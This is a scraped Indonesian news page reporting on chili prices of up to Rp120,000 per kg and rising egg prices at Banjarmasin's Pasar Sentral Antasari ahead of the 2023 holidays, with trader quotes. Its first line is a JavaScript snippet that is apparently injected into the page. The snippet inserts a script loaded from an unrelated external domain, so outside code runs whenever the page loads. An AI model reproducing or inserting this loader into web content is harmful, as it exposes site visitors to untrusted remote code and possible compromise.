(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
HEADLINE

‘Pedasnya’ Harga Cabai di Pasar Tradisional Banjarmasin, Tembus Rp120 Ribu per Kg


KANALKALIMANTAN.COM, BANJARMASIN – Menjelang Natal dan Tahun Baru (Nataru) harga bahan kebutuhan pokok rumah tangga di Kota Banjarmasin tak stabil. Salah satu komoditas yang harganya melonjak tinggi yaitu cabai rawit.

Di Pasar Sentral Antasari Banjarmasin misalnya, harga cabai rawit berada pada kisaran harga Rp90 ribu per kilogram. Harga tersebut jauh di atas harga normal.

Sulihah, pedagang cabai di Pasar Sentral Antasari mengaku, jika penjualan saat ini cenderung menurun disebabkan masih tingginya harga cabai rawit.

Salah satu lapak penjual cabai rawit di Pasar Sentral Antasari Banjarmasin. Foto: rizki

Baca juga: Jalan Sehat Meriahkan HUT ke-78 PGRI di Amuntai

Harga normal cabai pada biasanya hanya Rp30-Rp40 ribu per kilogram, kini ia mengaku  harus menjual dengan harga Rp90 ribu per kilogram sebab menyesuaikan harga yang didapat dari distributor.

“Ini sudah sedikit turun, kalau semalam (kemarin, red) sampai Rp100 ribu per kilogaram, bahkan sampai Rp120 ribu,” kata Sulihah, Minggu (10/12/2023) siang.

Menurut Sulihah, salah satu faktor yang menyebabkan harga cabai masih tinggi karena berkurangnya stok cabai rawit dari distributor, baik yang berasal dari lokal maupun luar Kalimantan.

“Kalau barangnya (stok) semakin kurang, bisa naik lagi,” ujarnya.

Baca juga: ‘Bunga Terakhir’ Bebi Romeo-Wali Kota Aditya Menutup Banjarbaru Murdjani Festival

Selain cabai, komoditas lain yang harganya juga masih tidak stabil yaitu telur ayam.

Harga telur mengalami kenaikan sebesar Rp3 ribu per kilogram dalam dua perkan terakhir di Pasar Sentral Antasari Banjarmasin. Foto: rizki

Halidi, pedagang telur di Pasar Sentral Antasari mengaku kenaikan sudah terjadi sejak dua pekan terkahir. Dari harga Rp24 ribu per kilogram, kini harganya sudah Rp27 ribu per kilogram.

“Naik sekitar Rp3 ribu, kalau di warung harganya bisa tinggi lagi sampai Rp30 ribu,” katanya.

Baca juga: Kerja Keras Pemkab Banjar Banjar Berbuah Manis, Sederet Penghargaan Diraih Sepanjang 2023

Menurut Halidi, kenaikan kebutuhan bahan pokok salah satunya telur memang selalu terjadi menjelang Natal dan tahun baru.

Meski penjualan tidak menurun, Halidi berharap harga telor bisa turun. “Banyak pelanggan yang komplain kenapa harga naik, padahal sudah dari agen naik,” akunya. (Kanalkalimantan.com/rizki)

Reporter : rizki
Editor: bie


Risa

Recent Posts

Dispersip Kalsel-LPKA Martapura Kerja Sama Layanan Perpustakaan Keling dan Penyediaan Bahan Baca

KANALKALIMANTAN.COM, BANJARMASIN – Dinas Perpustakaan dan Kearsipan (Dispersip) Provinsi Kalimantan Selatan (Kalsel) bersama Lembaga Pemasyarakatan… Read More

11 jam ago

Muhidin Gubernur Kalsel Definitif, 7 Februari 2025 Kembali Dilantik

KANALKALIMANTAN.COM, JAKARTA - Setelah hampir sebulan mejabat Plt (Pelaksana tugas) Gubernur Kalimantan Selatan (Kalsel), H… Read More

13 jam ago

Atasi Persimpangan Tak Beraturan, APILL LIK Liang Anggang Siap Beroperasi

KANALKALIMANTAN.COM, BANJARBARU - Dinas Perhubungan (Dishub) Provinsi Kalimantan Selatan (Kalsel) memasang titik Alat Pemberi Isyarat… Read More

16 jam ago

BPBD Balangan Tetapkan Status Siaga Bencana Batingsor Hingga April 2025

KANALKALIMANTAN.COM, PARINGIN - Antisipasi dan kesiapsiagaan menghadapi bencana banjir, puting beliung dan tanah longsor (Batingsor),… Read More

18 jam ago

Jelang Nataru PLN Pastikan Kesiapan Infrastruktur dan Layanan Kelistrikan Andal

KANALKALIMANTAN.COM, JAKARTA - Menjelang perayaan hari besar Natal 2024 dan pergantian tahun ke 2025, PT… Read More

19 jam ago

Banjarmasin Dilanda Banjir Rob, Jalan Kampus ULM Tergenang

KANALKALIMANTAN.COM, BANJARMASIN - Banjir rob melanda sejumlah wilayah di Kota Banjarmasin, Provinsi Kalimantan Selatan (Kalsel).… Read More

20 jam ago

This website uses cookies.